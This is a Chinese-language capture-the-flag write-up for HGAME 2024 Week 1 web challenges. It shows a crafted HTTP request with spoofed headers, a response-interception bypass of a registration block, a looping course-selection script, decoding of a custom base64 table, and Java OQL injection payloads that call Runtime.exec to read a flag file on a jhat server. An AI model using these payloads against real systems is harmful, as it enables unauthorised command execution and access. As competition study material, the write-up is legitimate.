HGAME 2024 WEEK 1 wp

ezHTTP

1
描述:HTTP Protocol Basics
1
2
3
4
5
6
7
8
9
10
11
12
bp发包即可

GET / HTTP/1.1
Host: 106.15.72.34:31944
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Vidar; VidarOS x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
x-real-ip: 127.0.0.1
referer: vidar.club
Connection: close

image-20240206193735049

1
2
页面返回 flag已经给我们了,,,  
继续观察返回包 发现 认证部分有有趣的东西

很显然是一个JWT算法

image-20240206194112086

Bypass it

1
描述:This page requires javascript to be enabled :)

image-20240206194516189

1
2
就只有登陆注册 功能 尝试一下弱口令 发现没登陆进去
注册页面 还不允许注册

image-20240206194751522

1
2
通过提示  使用了javascript   
可以想着禁用JS或者拦截返回包或者通过登陆包来构造注册包

bp拦截响应包

image-20240206200206737

1
发现由于JavaScript会跳转到login.html  尝试更换成register.html

image-20240207020835872

1
给我们跳转到了用户注册页面  随机注册个用户试试

image-20240206200458064

image-20240206200513541

1
注册成功  登陆即可获得flag

image-20240206200615454

其实可以根据登陆包直接构造出一个注册包 login改成register即可

Select Courses

1
描述:Can you help ma5hr00m select the desired courses?

image-20240206201630697

1
2
原本一直都不知道考点是什么  但是随便点击  发现就选上了一个  
然后就尝试写了一个简易脚本(根据数据包) 一直选择课程 直到选上之后结束
1
2
3
4
5
6
7
8
9
10
11
import requests

url = "http://106.14.57.14:32702/api/courses"
data = {"id": 1}

while True:
for i in range(1, 6):
data["id"] = i
response = requests.post(url, json=data)
if '"full":0' in response.text:
print(f"Response for id={i}: {response.text}")
1
运行脚本 是一个随机性的问题  等一会 出现完所有课程id 即 选课完了

image-20240206212919536

image-20240206213224930

比赛时候的脚本是简历脚本课程一个个跑 然后换课程
赛后看网上wp整了跑新全课程脚本

亦可以bp 攻击模块选课

2048*16

1
描述:2048还是太简单了,柏喵喵决定挑战一下2048*16
1
2
3
前端2048游戏  需要我们玩到32768 (显然很难玩到,游戏大神除外)
查看源代码 发现程序设置了禁止调试且做了JS混淆  
继续翻翻JS代码 看看能不能翻到什么有趣的东西吧

image-20240206191944385

1
2
3
发现了明显特征 game-won  可以猜测密文/表有可能为
V+g5LpoEej/fy0nPNivz9SswHIhGaDOmU8CuXb72dB1xYMrZFRAl=QcTq6JkWK4t3
且根据代码 寻找x

image-20240207021105863

image-20240206192734458

1
2
经尝试  此处含密文
I7R8ITMCnzbCn5eFIC=6yliXfzN=I5NMnz0XIC==yzycysi70ci7y7iK

image-20240206192953722

一个换表的base64(个人感受是挺无语的,我翻挺久的…..)

jhat

1
2
3
4
5
描述:
jhat is a tool used for analyzing Java heap dump files
提示1 hint1: need rce
提示2 hint2: focus on oql
提示3 hint3: 题目不出网 想办法拿到执行结果
1
2
3
4
5
6
7
8
9
10
11
附件给了dockerfile.txt
FROM openjdk:8
# 指定新镜像的基础镜像
COPY data /
# 将宿主机的data目录中的文件复制到根目录
CMD jhat heapdump.hprof
# CMD 指定容器启动时默认执行的命令
# jhat命令对 heapdump.hprof文件进行分析
# jhat 是Java堆分析工具,用于分析Java堆转储文件
EXPOSE 7000
# 告知docker容器暴露出来的端口 docker的监听端口
1
jhat  有关java安全 只能说自己学的还是少了 只能根据遇到的题目 继续去学习

jhat是jdk内置的工具之一。主要是用来分析java堆的命令,可以将堆中的对象以html的形式显示出来,包括对象的数量,大小等等,并支持对象查询语言

OQL是一种类似于SQL的查询语言,主要用于在Java虚拟机(JVM)的堆内存中进行对象的查找和筛选。

参考:OQL(对象查询语言)在产品实现中造成的RCE(Object Injection) - Nebula (wooyun.js.org)在产品实现中造成的RCE(Object Injection).html)

1
new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("cat flag").getInputStream(),"gbk")).readLine()

第一个获取的RCE不完全 下面官方RCE相对于第一个 获取的shell更完整

1
new java.util.Scanner(java.lang.Runtime.getRuntime().exec('cat /flag').getInputStream())

image-20240207021325809

image-20240207011034227